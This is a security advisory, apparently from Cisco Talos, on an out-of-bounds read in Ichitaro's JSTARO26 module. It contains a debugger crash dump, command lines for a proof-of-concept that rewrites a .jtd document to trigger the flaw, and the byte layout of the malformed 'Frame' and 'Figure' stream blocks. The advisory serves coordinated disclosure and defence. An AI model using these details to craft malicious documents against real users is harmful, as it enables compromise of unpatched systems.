(c24.bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1619cff8 ebx=00000000 ecx=25b74e90 edx=54fdb654 esi=25b74e90 edi=1619afc8
eip=54801807 esp=00759504 ebp=0075951c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
JSTARO26!DRFL_SaveFD3A+0xd46e8:
54801807 66837f1000      cmp     word ptr [edi+10h],0     ds:0023:1619afd8=????

The libraries within this section are loaded at the following addresses.

Browse full module list
start    end        module name
545f0000 5552c000   JSTARO26   (export symbols)       JSTARO26.OCX
002f0000 0061d000   taro33     (no symbols)           
3c7c0000 3f04e000   T33com     (deferred)             
5f800000 5f8b1000   JSFC       (deferred)             
213e0000 21402000   jsmisc32   (deferred)             
277a0000 27826000   jsvda      (deferred)     

Exploit Proof of Concept

To modify a given document with the necessary attributes, run the proof-of-concept with Python against the desired document using the following parameters:

$ python poc.py.zip modify /path/to/document.jtd

This will update the document in-place with the necessary changes required to trigger the vulnerability. After a document has been modified, the proof-of-concept can also be used to parse the document and identify the parts that trigger this vulnerability.

$ python poc.py.zip read /path/to/document.jtd

The two streams that are used by the vulnerability in this document are “Frame” and “Figure”. Within the “Frame” stream is an array of blocks. Each of these blocks contain a 16-bit type, followed by a 16-bit length, followed by the data contained by the block. At the beginning of the “Frame” stream are two blocks. The first block represents the stream version information, with the second block being a 32-bit length. This 32-bit length describes the number of blocks that follow it and contain “Frame” objects that are to be parsed. The blocks containing the “Frame” object have the following format:

<class jtd.Stream_block> '0'
[10] <instance jtd.ntohs 'type'> 0x0102 (258)
[12] <instance jtd.ntohs 'size'> 0x0038 (56)
[14] <instance jtd.Frame_object_777b3f 'data'> "\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\xa5\xa5\x5a\x5a..."
[4c] <instance dynamic.block(0) 'padding'> ""

Within each of the blocks containing a “Frame” object is a structure that is prefixed with a 32-bit field representing an index used to synchronize the object with other streams, followed by a 16-bit type, which can be a number from 1 to 6. The vulnerability specifically involves objects of type 4, which will then result in the application referencing the “Figure” stream during parsing.

<class jtd.Frame_object_777b3f> 'data'
[14] <instance jtd.ntohl 'lv_index_18'> +0x00000000 (0)
[18] <instance jtd.ntohs 'lvw_case_14'> 0x0004 (4)
[1a] <instance jtd.baseobject_9eafa8 'vobject_7779f9'> "\x00\x00\x00\x01\x00\x00\xa5\xa5\x5a\x5a\x00\x00\x00\x00..."

The “Figure” stream uses a data structure similar to the “Frame” stream. At the beginning of this stream is a header representing the version of the stream, followed by a number of blocks that contain information about the “Figure” to parse. If the size of one of the blocks reaches out of bounds of the size of the stream, this vulnerability is being triggered.

<class jtd.Stream_block> '0' {underload=True,uninitialized=True,busted=True}
[8] <instance jtd.ntohs 'type'> 0x0d0e (3342)
[a] <instance jtd.ntohs 'size'> 0x0a0d (2573)
[c] <instance jtd.Figure.figureType_777230_1 'data'> "\x00\x00\x00\x00\x00\x00\x66\x66\x10\x01\x00\x06"
[18] <instance dynamic.block(2561) 'padding'> {underload=True} "\x06\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x01\x00..."

The contents of the “Figure” blocks have the following format.

<class jtd.Figure.figureType_777230_1> 'data'
[c] <instance jtd.ntohl 'v_something_0'> +0x00000000 (0)
[10] <instance jtd.ntohs 'vw_case_4'> 0x0000 (0)
[12] <instance jtd.ntohs 'vw_fdmSetDestination_6'> 0x6666 (26214)
[14] <instance jtd.ntohs 'vw_fdmCutFigSize_8'> 0x1001 (4097)
[16] <instance jtd.u8 'vb_field_A'> 0x00 (0)
[17] <instance jtd.u8 'vb_field_B'> 0x06 (6)
VENDOR RESPONSE

The vendor coordinated with JPCert, who released the information at: https://jvn.jp/en/jp/JVN28846531/index.html

TIMELINE

2023-06-21 - Vendor Disclosure
2023-10-19 - Vendor Patch Release
2023-10-19 - Public Release

Credit

Discovered by a member of Cisco Talos.